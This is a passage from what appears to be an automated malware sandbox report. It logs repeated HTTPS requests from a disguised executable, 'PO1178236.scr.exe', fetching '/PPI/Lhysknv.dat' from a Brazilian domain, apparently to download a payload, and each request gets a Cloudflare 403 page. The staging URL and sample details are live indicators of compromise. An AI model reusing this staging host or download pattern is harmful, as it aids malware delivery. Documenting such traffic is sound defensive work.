6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b774497a4225</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:30 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 37 34 34 39 37 61 34 32 32 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b774497a4225',t:'MTczNjQwNzc3MC4wMDAwMDA='};var
2025-01-09 07:29:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49952	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:30 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:30 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bj1LH0v8wgyI4hPAh74rZOn7ZgoCVsY5DUQACXVZL494wK0jIVd28ad%2BSqdHG58t0j3PaUIjf19cC5R9TFzKxJSq4FRbK0Tncj6DnQtlzxC6Izc6luLTvL942Gr8cTOMb3sTF3rg0Mn%2FGM9E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b777fa620f70-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1687&rtt_var=637&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1713615&cwnd=212&unsent_bytes=0&cid=5c8cb8f45397a410&ts=134&x=0"
2025-01-09 07:29:30 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:30 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:29:30 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:29:30 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 37 37 66 61 36 32 30 66 37 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b777fa620f70</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:29:30 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 37 37 66 61 36 32 30 66 37 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b777fa620f70',t:'MTczNjQwNzc3MC4wMDAwMDA='};var a=d
2025-01-09 07:29:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49956	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:31 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:31 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:46 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7IrXLOSHo8dzLtWKmD01qwC61D5%2FrSHiSHup8UGpCPO7us6hsRcFazCyFzGVS%2Bw2doujP7hvdRtY3ZmPOHgZlfuq67oB1AKOsrzX9VGa6KDUzkb2FNMjuZitUTWNUV3XR1MbhbLSQuqYo7aF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b77bbb8c1819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1675&rtt_var=643&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1682027&cwnd=215&unsent_bytes=0&cid=553c9223b52a6aae&ts=137&x=0"
2025-01-09 07:29:31 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:31 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:29:31 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:29:31 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 37 62 62 62 38 63 31 38 31 39 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b77bbb8c1819</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:29:31 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 37 62 62 62 38 63 31 38 31 39 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b77bbb8c1819',t:'MTczNjQwNzc3MS4wMDAwMDA='};var a=d
2025-01-09 07:29:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49962	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:32 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:32 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:47 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XIzE%2BakXw1frP%2BeRWdYcSGk9mKy7qEUxEcw2ofaXMgfFob%2BfFCXQW3JRHJK7%2FUcy16txA9A9COxxXeO2eCkJTMCMdV9wrgVSoXDV8vkj2XzLtleFlnUhxAyL6MzdjuxsVQKUbOCvobw1rSmr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b77f8d268c0b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=2020&rtt_var=765&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1422308&cwnd=214&unsent_bytes=0&cid=3940396efce90c95&ts=142&x=0"
2025-01-09 07:29:32 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:32 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:32 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:32 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 37 66 38 64 32 36 38 63 30 62 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b77f8d268c0b</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:32 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 37 66 38 64 32 36 38 63 30 62 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b77f8d268c0b',t:'MTczNjQwNzc3Mi4wMDAwMDA='};var
2025-01-09 07:29:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49966	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:32 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
